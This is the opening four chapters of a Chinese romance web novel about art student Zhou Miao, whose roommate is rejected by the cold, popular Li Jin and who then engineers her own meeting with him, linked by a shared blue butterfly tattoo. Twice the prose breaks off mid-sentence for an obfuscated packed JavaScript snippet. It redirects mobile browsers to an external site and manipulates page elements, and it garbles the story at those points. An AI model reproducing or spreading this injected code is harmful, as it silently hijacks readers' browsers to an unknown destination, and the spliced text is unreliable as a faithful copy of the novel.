《蓝闪蝶》 1. 蝴蝶 仲夏夜凉爽寂静，与白昼的炽热仿佛两个天地，月光穿过层层树枝，洒下无限清辉。 周淼背着包走进洗手间。 洗手池站着两个女生，正对着镜子在补妆。 周淼打开水龙头，耳旁传来清晰的笑声。 “哎，你听说没有，雕塑系的秦佳要被退学了！” “怎么没听说，这事在学校论坛都传疯了好吧！说起这个秦佳她也是没脑子的很，居然傻乎乎的跑到人家学校去闹？疯了吧？被甩了也就算了！现在还要被退学，真惨啊！” “要我说，她就是活该，闹谁不好去闹黎烬，也不看自己那样！” “也是。黎烬是什么人啊！” “走吧，不说了。” 声音断断续续从门口消失。 洗完手，周淼面无表情地走到厕所最里面，对着其中一间敲了敲门：“秦佳，是我。” 门悄悄打开一条缝。 周淼从包里拿出一张卫生巾，顺着缝塞了进去，声音淡然平静：“我在外面等你。” 里面没有人应，但周淼听到了轻微的抽泣声。 她顿了顿，转身离开。 长而宽的走廊里空无一人，周淼漫不经心地玩着手机，没一会，洗手间走出一道身影。 秦佳脸色苍白，两只眼睛红红的像是哭过。她个头不高，没化妆显的整个人都没什么精神，一件简单的黄色连衣裙，微弓着背，浑身透着不自信，仔细看有一种寡淡的感觉。 印象中，秦佳是个很爱笑又腼腆的女孩。 周淼淡淡地看了她一眼，放下手机道：“走吧。” “淼淼，谢谢你肯来。”秦佳红着眼，感激地看着周淼。半个小时前，她在宿舍群问了好多遍都没有人理她。 只有周淼。 周淼摇摇头。这个点教学楼已经没人了，“我们回宿舍吧。” “嗯。”秦佳点头，跟着周淼一起离开。没走几步，她忍不住看向身旁平静的女孩，“你，没有什么想问我的吗？” 周淼不解地看向她。 秦佳低下头，声音变得有些颤抖：“你刚刚听到了吧，其实她们说的是真的，我……我过几天就要走了。” 周淼停下脚步。秦佳抬起头，眼睛红红的声音哽咽：“可是，我还想再见他一面！”她忽然抓住周淼的胳膊，恳求道：“淼淼，你陪我好不好，我还想见他一面！” “我一个人真的害怕……我不喜欢他的朋友。” 周淼沉默了。她和秦佳只是一个宿舍一个系的同学，平时在学校算不上是多好的朋友，以前的秦佳也不是这个样子的。 一个月前，秦佳嘴里忽然多了一个男生的名字。 在周淼看来，明明她的生活里没有一点与他有关的痕迹，可在秦佳的口中仿佛他无处不在。 周淼想起刚刚在手机上浏览过的画面，眼里多了几分无奈，她道：“你别再找他了，他真的不适合你。” “就一次！最后一次！”秦佳急得眼泪都快掉下来了，紧紧抱着周淼的手不放。“我就想见见他！” 周淼静静地盯着秦佳，冷傲淡然的眸子忽然掠过几分新奇。 她不明白，到底是怎样一个人能让秦佳流露出这种神色。 半响，她道：“随你吧。” 坐在出租车上，秦佳口中一直不停地讲着那个“他”。 秦佳是在酒吧里遇见他的，那时候她和朋友们都喝多了，被几个黄毛小混混缠住不让离开，正急到不知道怎么办才好时，是“他”出手解了围。 听起来像是个好人。 她说他叫黎烬，是对面校区艺术系的学生，和他们一届，就读大二。 秦佳每次提起他，嘴角都不由自主地弯了起来，脸上满是幸福。 她说他人很好，个子头，长得又帅又多金，身边从不缺朋友，是和他们完全不一样的一种人。 本来一切都很好的……但这段时间他的身边忽然多了一个女生，是他的朋友，要和她抢黎烬。 她输了，输得一塌糊涂。 可秦佳很不甘心，也不服气，就跑去他们校区闹，结果就成这样了。 现在，她什么都没有了。 周淼的目光渐渐飘向车窗外，之后的事她一个字也听不进去。 她的思绪有些混乱。刚刚秦佳说了那么多，周淼心里只记住了一件事。 那就是他身上有一道刺青，是一只蓝色的蝴蝶。但纹在哪里连秦佳也没看过，很是神秘。 想到这，周淼目光微深，手掌不自觉地摸向背后腰部。 这里，也有一只蝴蝶。 蓝色的。 — — 出租车停在一家酒吧门口。 秦佳神色变得犹豫。周淼盯着招牌上五颜六色的灯光，问道：“你要不要给他打个电话？” 秦佳摇头，目光坚定道：“我知道他在哪里。” 说完，她拉起周淼往里面走。 这是另一个世界，五彩斑斓的灯光混合摇摆，空气里弥漫着酒的香气和各种难以形容的味道，震耳欲聋的摇滚夹杂着呐喊尽情的尖叫，燥热的气氛，似乎能让人在一瞬间忘记一切。 音乐开到最大，很吵，缤纷灯光下的男女们在舞池里疯狂扭动着自己的身躯，形形色色，眼神迷离而又彷徨，带着点痴迷，沉醉，放纵，他们尽情沉溺在这片狭小的空间。 弯弯绕绕走了很久，秦佳找了个相对还算安静的位置，拉着周淼坐下。她还点了两杯低度数的鸡尾酒，眼神一直在东张西望：“淼淼，你在这里稍微等我一下，我过去找他，很快就回来。” 看得出秦佳有些紧张。 周淼问：“不用我陪你吗？” 秦佳一滞，随即摇头笑：“我一个人可以的。” 只是这份笑容有几分勉强。其实她想说，像周淼这么安静漠然的女生，应该不会喜欢他们那么张扬的人。 但如果是喜欢的呢？ 她不太敢想。 “我去了。”秦佳独自往酒吧的另一边走去，周淼看着她离开的背影，脸上划过几分担忧。 论坛里的视频，秦佳闹到最后被一个女生狠狠地扇了一巴掌。 犹豫几秒，她还是端起酒水跟了上去。混杂的空气里弥漫着各种烟酒的味道，令人沉醉于这种氛围。 她看着秦佳在一处灯光昏暗的角落里停下，U字型的黑色卡座上坐着七八个人，有男有女。 他们正玩得火热，秦佳的忽然出现却令现场气氛瞬间冷了下来。 有人认出她，笑了。 “烬哥，又是来找你的！”有男生朝角落里的人喊道。 “不得了！又来了！” 忽然，一道尖锐的女声响起：“我当是谁，狗皮膏药又来了，怎么赶也赶不走？真特么烦！” 秦佳声音有些冷，“我又不是来找你的。” 女生有些生气，似乎并不觉得秦佳有叫嚣的资本。“那天没闹够？追到酒吧里来闹？你还要脸不？那天阿烬的脸都被你丢光了！！” 周淼认出了这个女生，是视频里最后扇秦佳巴掌的人。 秦佳的声音忽然软了下来，“我只是想找黎烬……我有事。” 女生道：“他没空！快滚！” “你凶什么啊！我又不找你！”秦佳脾气也上来了。 闻言，那女生笑了，“可别！千万别找我！你这种人，我真是见一次我吐一次！丑鬼！不要脸！恶心死了！” “你！”似乎没有什么比诋毁容貌更伤女生的心。那一瞬间，秦佳眼睛瞬间湿了一片，她看向角落里的人，声音很是委屈：“黎烬，我真的有事……你可不可以出来一下啊……” “我有话想和你说。” “你瞧瞧自己穿的这一身，土的快掉渣了，啧，怎么还好意思站在这里哭呢？给谁看啊？”女生似乎很看不惯秦佳这副模样，说的话一句比一句难听。 有人没忍住，笑出了声。 场面一时很难看。 秦佳声音颤抖：“黎烬……” 彩色的旋转灯轮换，投落一道又一道光束。角落里的人动了，紫色光芒划过他硬朗的脸颊，露出一双深邃而又冷漠的眼眸。 他姿势慵懒，整个人陷进黑色的皮质沙发里，肤色很白，一头乌黑茂密的头发短而利落，漆黑的眼眸如黑曜石般明亮，薄唇挺鼻，如雕刻般分明，身上张扬着冷淡与矜贵的气质。 他穿着简单的黑色短袖，脖子上挂着一条银色项链，看不太清楚，声音淡淡的透着倦意：“没什么好说的，以后别再来找我。你走吧。” 少年的宣判令秦佳崩溃。女生得意地笑了，“怎么！还不走？想留在这里吃白食啊？” “行了，晶晶你说话注意点。” “你走吧。”他抬起头，整张脸写满了冷漠。 秦佳盯了他半刻，哭了。最后捂住脸不管不顾地冲了出去。 周淼站在吧台旁，想跟上去，却被他们的话绊住了脚。 “烬哥你真无情啊！哎呦喂！又搞哭一个妹子！” “害，都是兄弟，烬哥你什么时候也教教我呗！” “就是哇——” 那个叫晶晶的女生似乎不是很能理解，她盯着黎烬问：“你也是，脑子抽风了看上这么个女的？有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043947|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病似的！” “什么嘛！误会误会！这我就要替阿烬解释解释了，那天他喝多了脑子不清楚，谁知道那女的自己贴上来了，你觉得他们可能谈恋爱吗？” “是啊！我烬哥他可从来都不谈恋爱的，都是玩玩啦！” “而且刚刚那姑娘完全不是我烬哥的口味和风格嘛！” “她好像是对面南通的学生。” 晶晶讥笑道：“切。还以为他们那边的大学生多清高厉害呢，现在看来也不过如此。” “晶姐，你也不看看她那样子，干干巴巴的一身，又不爱打扮，怎么下的去手？” “哈哈哈——” 周淼喝完最后一口鸡尾酒，耐心消磨殆尽。她放下酒杯，侧目看向黑暗里的身影，盯了一会，脑子里忽然浮现出一张哭泣的脸。 昏暗灯光下，所有心思藏于黑暗无法窥探。她转身离开，消失在一片喧闹之中。 嬉笑声还在继续，这种话题仿佛永远不会让人感觉到厌倦。 “够了。”黎烬微微皱眉，低沉的声音里透着几分厌烦。 话题很快换成另一个。 他掐灭手机屏幕，眸子漫不经心往四周扫去，吧台里男调酒师正花样百出的展示着技巧，雾气氤氲，引起不少尖叫。 黎烬兴味索然地收回目光。 周淼在酒吧外找到秦佳，她蹲成一团，蜷缩着身体，整个人哭得厉害。 见过“男主角”本尊后，周淼很能理解秦佳为什么会这般情难自禁，就像丢了魂一样。 像黎烬这种人，发起攻势，大概很少有女生能够抵挡。 就像当初的“她”一样。 他身上有一种同龄人没有的气质，不似十八九岁的青涩朝气，仿佛对一切都很冷淡。 周淼不知道怎么安慰她，只好等她情绪渐渐过去。 她拍着秦佳的背：“别哭了，我们回去吧。” “回去？回去！为什么所有人都叫我走！”秦佳抬起哭肿的脸，对着周淼吼出了声。 周淼淡淡地看着她。 秦佳触碰到她的目光，气势瞬间熄灭，连忙道：“淼淼，我，对不起我没有说你……” “我知道。”周淼没什么反应地站起身，道：“你别哭了。” 秦佳擦了擦脸，有些无助地看向天空，也不知道在问谁，“我该怎么办？” “我什么都没有了，因为闹事退学家里人对我很失望，他也……可是我真的很喜欢他。” “这不是喜欢。”周淼拉起蹲在地上哭的秦佳，“你很好，只是有些事没做对，没什么的。等过段时间，就什么都好了。” 秦佳不解，“不是喜欢吗？” “至少在我看来不是。”周淼伸手拦下一辆出租车，没有想多说的欲望。 “南通大学。” 秦佳坐在车上，心里还是不能接受这个事实，一路上只能靠说话来排解难过了。 “是我太傻了，像我们这种长相普通的女孩子，他那样的人，怎么会真的喜欢上我。” “他从来都不恋爱，我还以为只要一直在他身边，总有一天……”秦佳说着说着又哭了。 周淼忽然出声道，“不会和人谈恋爱吗？” “不会。”秦佳肯定。 至少她已经验证过了。 秦佳偏头，悄悄看向靠着车门闭眼休息的女生。 周淼长的很秀气，偏南方那边的长相，身材高挑，皮肤白，很瘦，整个人安静时就像夜里独自盛开的昙花。 她话少，有时候很神秘，疏离，专业优秀，身上的气质很令人着迷。 回想起她刚刚说的话，秦佳忍不住问道：“淼淼，你说我那不是喜欢，那你认为的喜欢是什么样子的？” “反正不会是说爱就爱，说不爱就不爱。” 周淼睁眼，打开车窗，夜风涌进车厢带来一丝凉意。 “我认为的喜欢……”她思索半刻缓缓说道：“喜欢是复杂的，有时候放肆而又克制，极致而又浓烈，没有休止，不能停止，直到死亡。” 有那么一刻，秦佳觉得周淼和黎烬很像。 可又说不上是哪里像。 秦佳看着她，鬼使神差的来了这么一句，“淼淼，如果你是我，你会喜欢黎烬吗？” 这话问完她就后悔了。秦佳不安地看着周淼，可心里又隐隐期待答案。 周淼看她一眼，笑了。“秦佳，相对于喜欢别人，我更想做那个被人喜欢的人。因为这样才不会输。” 她看着秦佳，平静的脸庞看不出情绪，清冷的眸子忽然掠过一抹难以捉摸的光芒。“像你，从一开始就输的彻底。” 2. 黎烬 临近期末，雕塑系学生都在忙着各自的作业。 南通大学与隔壁的南工大学每年有个不成文的规定，便是艺术系的期末展览会。 双方各自选出每学期的优秀作品进行评比，有输有赢，也算是一种相互学习的良性竞争。 傍晚余晖沉沉，橘黄霞光透过玻璃窗洒落一地斑驳，乱中有序的画室里零零散散坐着几个学生，有闲聊的，也有人认真沉浸在自己的世界。 “去年好可惜，差那么一点第一名就是我们学校的了！” “是啊，今年的期末展览会我们可不能输了。” “淼淼，你去年请假了，没参加展览会还真有点可惜。”刘圆说着忽然看向旁边的周淼。 周淼一个人坐在画架前。郭安迪看她一眼，淡道：“有什么可惜的，现在才大二，后面还有两年呢。” “我知道。”刘圆说，“我的意思是她没看到去年的展览可惜了。还别说，去年南工有几个作品还真的挺……”她一时找不到形容词，伸手比了个大拇指。 李小音轻笑一声，道：“圆圆说的没错！去年展览会第一名的作品我到现在还记得呢，确实挺惊艳，名字好像叫作Butterfly。” 笔尖微微一顿，周淼迟钝地抬起头：“Butterfly？” 李小音点头：“就是隔壁黎烬的作品，我手机里面还有图片呢！” 她说着拿出手机，“诺，我去年拍了好多……就这张。”她打开图片递给周淼看。 接过手机，周淼扫去。 展会明亮的灯光下，古铜色的人形雕塑散发着独特的光芒。圆形的展台上困着一个四肢被铁链禁锢的少女，她闭着眼，身体残缺，动作僵硬地跪着，地上满是残骸，浑身上下没有一丝生的气息，只有那布满泪痕的脸庞，停足着一只展翅的蓝色蝴蝶。 蓝色，作品里唯一的颜色，象征着唯一的自由。 周淼眸光变了。 “很厉害吧，这手法与形体真的做的很绝。”李小音叹道。 周淼淡淡问道：他是隔壁雕塑系的学生？” 刘圆点头，有些惊讶道，“淼淼你不知道黎烬吗？不会吧！他可是很有名气的！” 李小音附合道：“是啊，去年大一军训的时候，我们南通有好多人跑去南工看他呢！论坛都传疯了！” “好像听过一些。”周淼道。 关于黎烬，她都是从别人口中听来的。比如秦佳。 “她天天闷在画室里，哪像你们一样花痴。”一直闷在角落里玩手机的庄志伟忍不住开口。 郭安迪意味深长说：“说起这个黎烬，秦佳今天早上走了。” “啊！她就走了啊？” “我看到了，她妈妈来接的。” “说起来她也挺惨的。” “切，我听我朋友说，黎烬根本没有跟她谈恋爱，就她一个人在哪里自作多情。” “我也听说了，南工的黎烬好像不和人谈恋爱的……” 在一众言语中，周淼面无表情地做着自己的事，与这热络活跃的气氛格格不入。 “这事也怪不得人家黎烬吧，不就是掰了吗，她至于跑到人家学校里去闹吗？”刘圆扁扁嘴，一副轻屑的模样。 李小音道，“秦佳她也是一时鬼迷心窍了。” 刘圆摇摇头：“我实在是听不得她天天在宿舍说起黎烬，这耳朵都起茧子了。” 闻言，周淼看她一眼，想起什么轻轻扯了扯嘴角。 每次秦佳说起黎烬，宿舍里最热情的观众便是刘圆了。 庄志伟打断她们的谈论，起身拍拍手道：“好了，马上六点了，不是说今天晚上傅老师他们请客吃饭嘛，大家可以先去准备了，不要迟到。” 晚上有聚会。 画室里的人陆陆续续离开。 “走吧，出去吃饭。”李小音招呼周淼她们。 “马上。”郭安迪背起包，等周淼收拾，催促道：“速度！姐！” 周淼很快收拾好东西，跟着郭安迪出去。她慢慢走着，看着走在前面的李小音和刘圆，没由来的道：“她们俩今天有点奇怪。” “谁奇怪？”郭安迪问。 周淼：“都奇怪。” 郭安迪笑了笑，忽然凑近周淼轻声道：“傻姐姐，奇怪什么，她们俩偷偷喜欢黎烬呗。” 周淼看她一眼。郭安迪揽过她的肩笑道：“但都不敢承认。” “是吗？” 郭安迪：“我敢打赌，咱们系至少有一半的人，哦不，咱们学校至少有一半以上的女生都喜欢他。” “可惜了，他只喜欢玩，不会认真谈恋爱。” “那你呢？”周淼看她。 郭安迪白她一眼，“你看我像那种为爱沦陷的傻子吗？” 周淼笑了。 郭安迪补充道：“当然我知道你也不是。” “这说不定。”周淼刚出声，后头有人喊她名字。 “你说什么？” “没什么。” 周淼回头一看，是庄志伟。 庄志伟是班长，平时人很和蔼，做事靠谱，和周淼关系不错。 “怎么了？”她问。男生留着一头中分短发向她跑来，眼镜都快掉了。 庄志伟喘着粗气，“你们走那么快干嘛？饭又不会跑！我是想问你期末作品想好了没？” “还没。”周淼摇头，“不过有点想法了。” 庄志伟跟上她们，“你有什么想法可以说给我听听，我帮你分析。” 周淼很神秘地说：“秘密。” “……” “这有什么秘密的？”庄志伟切的一声，往前面去了。 “班长不对劲啊！”郭安迪看着庄志伟的背影道。 周淼不以为然：“他不是一直都这样吗。” 每回期末，傅老师都会自掏腰包请客吃饭，为的就是让他们在期末作品上好好发力，争取把南工踩在脚下。 有人开了啤酒，一顿下来天彻底黑成一片，城市灯火通明。 吃完饭，周淼一行人慢慢地走在人行道上，权当消化了。 夜里的风凉爽，吹得人脑子瞬间清醒了几分。 路边光线暗沉，车辆驶过，空气里满是灰尘的味道，周淼插着手漫不经心地走着，淡然的目光突然一顿。 她停下脚步，眼睛不自觉地往对面马路扫去，绿化带的边上站着一道高大孤傲的身影，他脚下长长的影子拉得很远，仿佛隔着千山万水。 是黎烬。 他侧着身子，站在昏暗无光的路灯下抽烟。离的有点远，周淼看不清他的神色，只知道他随时可能离开。 一瞬间，周淼心里闪过很多荒谬的想法。 连她自己都觉得荒唐。 是好奇？不解？还是愤恨？那时候的她没想过那么多，更多的是冲动使然。 周淼拉了拉郭安迪：“我好像有东西落下了，我得回去找找。” “这么晚了，我陪你去吧。”庄志伟走过来道。 周淼摇头，“不用，我还要买点东西，你们先回去吧。” “行。”郭安迪点头。她对周淼很放心。“那我们先回学校了。” “好。” 往回走，绕到马路对面，黎烬还在原地站着。 一只烟很快燃尽。他穿着一件黑色卫衣，低着头，不知道在想些什么。两只手插着兜，静静地站了一会便走了。 周淼跟上。 悠长的人行道上空无一人。 黎烬漫无目的地走着，就像游魂一样。大概走了十多分钟，他突然走进一家书店。 这是一家很小众的书店，晚上店里几乎没什么人。 黎烬慢悠悠地逛着，走走停停，心情看上去挺差。他淡淡扫过一排又一排的书架，目光最终停在某处。 是一本书， ——《伯里曼人体结构》。 他盯了会，伸手去拿。就在这个时候，一只纤细瘦长的手忽然闯入他的视线，以一种骤然而又无法 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“一共是126元。”前台道。 周淼哦的一声，从口袋里拿出了手机。 手机屏幕刚亮起没几秒忽然进入了关机页面。 周淼顿了顿，伸手假装去按开机键，好一会都没有反应。周淼白净的脸瞬间爬上一抹无措。 她有些尴尬。 收银员看她这样，面无表情的又重复了一遍，问她有没有现金。 周淼去翻口袋，包包，也没有找到现金。她低着头，感觉这几分钟仿佛过了一个世纪那么漫长。 过了很久，就在周淼以为自己赌输了的那一刻，一本书放到了收银台上。 “一起付吧。”黎烬声音很淡。 “你们认识啊！也不早说浪费我时间！”收银员不耐烦地说。 周淼有些惊讶地抬头，男生脸上没有任何情绪，也没看她。 “一共167元。” 黎烬迅速扫码付款。收银员以为他们是一起的，便把装好的书递到周淼面前。 周淼呆呆地接过，脸上还是一副懵逼的模样。她都不知道自己是怎么走出书店的。 店外光线明亮，夜深了，路上都没什么人了，只有来来往往的车辆。 周淼看向身旁停下的黎烬，茫然僵硬地说道：“那个……谢谢。”她不知道该说些什么，支支吾吾：“我，我出来没带现金，手机又没电了，要不你留个联系方式给我，晚点我回去充上电，一定把钱转给你！！” 黎烬从袋子里拿出自己的书，漫不经心地说了一句“不用麻烦”。他似乎不把这点钱放在心上。 周淼却很坚持：“需要的，我这个人不喜欢欠人情。” 黎烬闻言扫她了一眼，唇角一勾笑道：“是吗？” 他笑得很随意。 明明是第一次见面，她一个素未谋面的陌生人，他却仿佛一点也不觉得尴尬，一切都很自然，这种场面他仿佛已经经历过无数回。 ——也许这就是黎烬。 “是。”周淼认真道。 黎烬看她几秒，掏出了手机。 成功拿到他的联系方式，周淼笑着说了声谢谢。女生微微红着脸，见他手上的书是和雕塑有关的，下意识问出了声：“你喜欢雕塑？” 黎烬拿着手机，一直在打字，似乎在和人聊天。“学这个的。” 周淼啊了一声，“这么巧，我也是这个专业，我在南通上学。” “你呢？” 黎烬眼睛从手机上移开，他淡淡扫她一眼，嘴角微扯：“南通大学吗？” 周淼点头。 忽然，她像所有好感迸发的女生般紧张地盯着黎烬，睁大双眸，白皙的脸上染着几分不自然的红晕，声音很轻却意图明显：“那个……还不知道你叫什么名字呢？” 3. 孤岛 黎烬看向她，瞬间，漆黑如墨的眼眸忽然露出一抹了然的神色，他嘴角轻扬，笑了。 “黎烬。” “啊？” “黎明的黎，灰烬的烬。” “你呢，叫什么。” “周淼。” 黎烬目露疑惑。 周淼解释道：“周末的周，三个水那个淼。” “哦。”黎烬了然。他手机有电话打进来。 周淼见状，说道：“刚刚真的谢谢你了，我回去就把钱转给你，那我先走了。” 黎烬淡淡地嗯了一声，转过身接电话。 转身那一刻，周淼带着笑意的脸瞬间平静下来，带着几分冷漠。 赌对了。 黎烬接完电话，转身，周淼早就没影了。他表情淡淡的，对这种事早就习以为常，也不是很在意的样子，在原地站了一会便往另一边走。 回到宿舍，已经很晚了。 郭安迪在周淼床上玩手机，见她回来了，漫不经心道：“周淼，你要是再不回来，我都以为你被人拐跑了，要叫警察叔叔找人了。” “就我这样，谁会拐我？”周淼放下书懒懒道。 李小音插嘴道：“淼淼，你怎么能这样说自己呢，你又不丑，就是性格冷了一点。” 周淼扯了扯嘴角。 不丑的意思是也不美，一般。 “还爱装。”郭安迪笑笑。 周淼白她一眼，现在没心情听她瞎扯，“你快回去睡觉吧，我洗澡去了。” 原本这宿舍是她和秦佳，刘圆和李小音四个人住。现在秦佳离开了，倒是空出一个床位。 “行。”郭安迪住在隔壁，“你回来了就好，我过去了。” “好。” 打开热水器，水流洒下。 周淼利落地脱光衣服，披散的长发刚过腰肩。她抬起双手将头发扎起，缓缓走进水幕，白皙的肌肤下水珠流动滚落，透着几分红润，洗了把脸，睫毛被水打湿微微颤动，雾气氤氲，一只蓝色蝴蝶纹身在周淼腰间若隐若现，带着几分神秘而又危险的讯号。 已经快十二点了，李小音和刘圆还在聊天。 “宿管阿姨说，过几天可能会有人来我们宿舍住。” “谁啊？” “我也不知道，反正不是我们系的人。” “这么快就有人来了。” “没办法现在床位紧张。” “希望是个好相处的。” 周淼坐在床上，拿起“抢”来的伯里曼，神色一顿。 “这书不是人手一本吗？你这么还买了本新的？”刘圆看到她手上的书有些惊讶。 “拿错书了。”周淼笑笑，打开书的第一页，上面写着一串号码。 现在都是实名制。周淼点开微信直接输号码。 很快，一个陌生的微信号出现在手机屏幕里。 微信名称很简单，一个大写的F字母，头像就是黑色，没有任何图案。 这很像黎烬的风格。简单却让人觉得神秘。 周淼盯了半响，最终还是点了添加此人，并留言了一句“你好，还钱请通过”。 夜店里灯光耀眼，却没有那般想象中喧闹。 黎烬推开门，迈着长腿走进一间包厢。 “哟，烬哥来了！”一进来，就有人冲他举起酒杯，指着沙发上醉倒的身影喊道：“晶姐在这里呢！” 听到“黎烬”两个字，瘫倒在沙发上身影动了动，爬起来嘟囔道：“阿烬来了吗？他在哪呢？”是个女生，正是那日的晶晶。 黎烬看她一眼，没理，坐到另一边的沙发。 屏幕上在放着MV，很热闹，包厢里七八个人大部分都喝醉了，楚琪拿着酒坐到黎烬身边，“你怎么来了，不是说要回去睡觉。” “早知道我就不来了。”黎烬拿起酒漫不经心地饮了一口，样子显得有些松懈，懒懒的。 楚棋轻打他一拳，“德行！” “阿烬！”叶晶晶清醒了几分，笑兮兮地走过来，在黎烬身边一把坐下。 柔软的沙发有几分震荡，叶晶晶揽住他的手笑道，“你来了！” 黎烬抽出手，表情很淡：“下次来这种地方不要叫我了。” 叶晶晶一顿，眨眼道：“怎么你不开心吗？之前不都玩的挺好。” 黎烬没作声，手中的酒水轻轻摇晃着，有些看不出情绪。 楚琪一笑，坐远了点，躲在一旁看戏。 叶晶晶以为他还在生气，凑上去小声说道：“哎呀！有几天不见了！我错了还不行吗？阿烬，我发现我想你想的厉害，你也想我了吧！”她说着，俯身想亲黎烬一口。 黎烬伸手挡住她的脸，微微皱了皱眉：“坐好。我没空理撒酒疯的人。” “阿烬。”她娇嗔道，像是喝多了脸红得厉害，盯着他问：“你不会又有女人了吧？又是秦佳那种丑八怪？不是吧哈哈！” 黎烬放下手中的酒杯，目光冷冷地扫了过来。 叶晶晶浑然不觉。她穿着一件黑色紧身短裙，嘟嘴道：“我知道你还在生我的气，可我又没说错什么？那丑八怪丑人多作怪！有什么啊？你有我一个不就好了，我会对你好的，真的！” “阿烬，我们在一起吧。”她双手抚上黎烬的肩，目光迷离。 黎烬冷漠地拉开了叶晶晶，扯了扯嘴角，嘲道：“在我面前说这种话，你不知道我的规矩吗？” “没意思。”他眸子一闪，整个人慵懒地靠向沙发，偏头，对一旁看戏的楚琪说：“你找个人送她回去。” “回去？去哪啊？！”不知道是哪句话触动了叶晶晶，可能是他身上全然不在意的疏散。 “我不要回去！我不要！”她大声质问黎烬：“为什么！你为什么就是不愿意多看我几眼？你不谈恋爱，没关系我愿意等，可阿烬你能不能不要一直拒我于千里之外？是因为那些事你还是忘不了吗？没事的阿烬我不会伤害……” “闭嘴！”黎烬陡然出声，目光一下子就冷了下来。 他从没有这么失态过。 叶晶晶瞬间清醒了，意识到自己说了什么，脸上带着几分慌张，“对不起阿烬，我……” “是你走，还是我走？”黎烬靠着沙发还是那副慵懒姿态，眼神漠然地望着她，居高临下。 一桶冷水从天而降，叶晶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16043949|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晶从来没想过自己会有这一天。她知道自己说错了话，还是非常严重的那种，只好一个劲的道歉。 “以后别再见了。”他声音不大甚至很轻。叶晶晶听到却连哭都不会了。 别再见了…… 叶晶晶意识到什么，无措地往四周看去，满屋子的人都在看她笑话。 叶晶晶紧紧抓住他的手，带着几分恳求，“我知道错了！我刚刚就是喝多了说胡话，你别当真！” 说着，她求助地看向楚琪。 楚琪见状无奈一叹，摇头，看着她淡淡说道：“你先走吧。” “我，阿烬……”她不死心的又叫了一声。 黎烬什么话也没说，只是静静地看着她，很平静。 但那眼神，太过凉薄无情，就像是在看一个陌生人一样。 叶晶晶忽然感觉自己现在就是个笑话。她顿在原地，莫名的想起了那天的秦佳，那天她哭了，哭得那么可怜，可现在的她甚至连秦佳都不如。 至少…… 至少他还对她温声细语，笑过，而她什么都没有。 他从来都是这般，看着像是一个温和多情的人，其实骨子里比谁都要冷傲疏离，他站在顶端俯视，居高临下，没人能走进他心里。 她也不行。 “回去吧，你们都回去吧，我和阿烬今天晚上要不醉不归！”楚琪招呼着包厢里的人离开。 “我先回去，我……”叶晶晶黯然离场。 很快，包厢里只剩他们俩人。 “好了，你别气了。”楚琪在黎烬身旁坐下，笑眯眯地给他开了一瓶酒。气氛一下恢复正常。 黎烬表情淡淡的，握住瓶身直接对嘴喝了起来。 楚琪缓缓道：“阿烬，你也别怪她多嘴，你这些年的状态确实挺疯的，大家都替你担心。” 黎烬挑眉：“我疯？我可比你们正常多了，只是偶尔觉得这样没趣。” “你也会觉得没趣？”闻言，楚琪轻轻一笑，神色戏谑。他拿过酒杯，对着黎烬碰了碰，仰头一口。 “你看你，身边人不少，来来往往看着挺热闹的，可实际上你这些年过的就像一座孤岛。”楚琪声音悠远，“独自飘荡在海面，岛上的人走不出去，外面的人也别想进来。” “这样能有意思吗？” 是人大概都会觉得厌烦。 黎烬：“我觉得这样挺好。” 楚琪劝道：“阿烬，还有比这更好的，你难道不想试试？” “不会有比这更好的了。”黎烬不知想到了什么。 “因为我不信。” “那是你还没遇到。” “切。” “切什么？你小子是时候未到！你等着吧，总有你遭殃的那一天！” 楚琪长叹一声，忽然说了这么一句没头没脑的话。“哎哟！我多么希望能从你嘴里听到一个妹子的名字。” “有病。”黎烬白他一眼，手机忽然发出一道提示音。 他慢条斯理地拿出手机，点开屏幕一看，是条微信消息。 ——“蓝色气泡水”请求添加你为好友。 ——“你好，还钱请通过。” 4. 赌注 清晨，一片静谧的宿舍里忽然响起一道刺耳的铃声。 持续不停的震动划破安静，底下传来窸窸窣窣的声音。 铃声陡停。 周淼皱着眉翻了个身，头埋进被窝里继续入睡。 没过几分钟，铃声再次响起。 “叮叮叮——” “滴滴滴——” “谁的！别吵行吗！关了！”李小音烦躁的声音响起，带着几分尖锐。 “不好意思，我忘记关了。”刘圆满是歉意的声音响起。 过了会，宿舍门被轻轻关上。 这下是真的睡不着了。周淼缓缓睁开眼，她人还迷糊着，放空几分钟，想起什么从枕头下摸出手机。 8点多了，今天上午没课。周淼点开微信，列表里除了公众号推荐的消息还多出了一个纯黑色头像。 ——F。 他同意了。 还有三条末读消息。 周淼爬起身，犹豫几秒，点进聊天框。 ——他通过了你的朋友验证请求，现在你们可以开始聊天了。 后面的两条消息居然是黎烬打来的视频通话，昨天晚上1点钟左右，那会她已经睡了。 她晚上睡觉都会关网络，所以没有接到。 周淼盯着屏幕有些失神，眸子里带着几分疑惑。 静静地坐了几分钟，她拿着手机爬下床，李小音还在睡，刘圆不知道去了哪，周淼轻轻打开宿舍门走到阳台。 太阳已经出来了，曦光热烈，洒落在大地。 周淼看了很久，也想了很久，最终还是拨通了黎烬的电话。 有些事既然踏出了第一步，就不能半途而废。 嘟了很久，电话终于接通。 周淼握紧手机，声音有些紧张，怯怯的：“喂，你好，我是周淼。” “谁？”好一会，黎烬那边才有了动静，她听出男人沙哑疲惫的声音里透着几分不明所以。 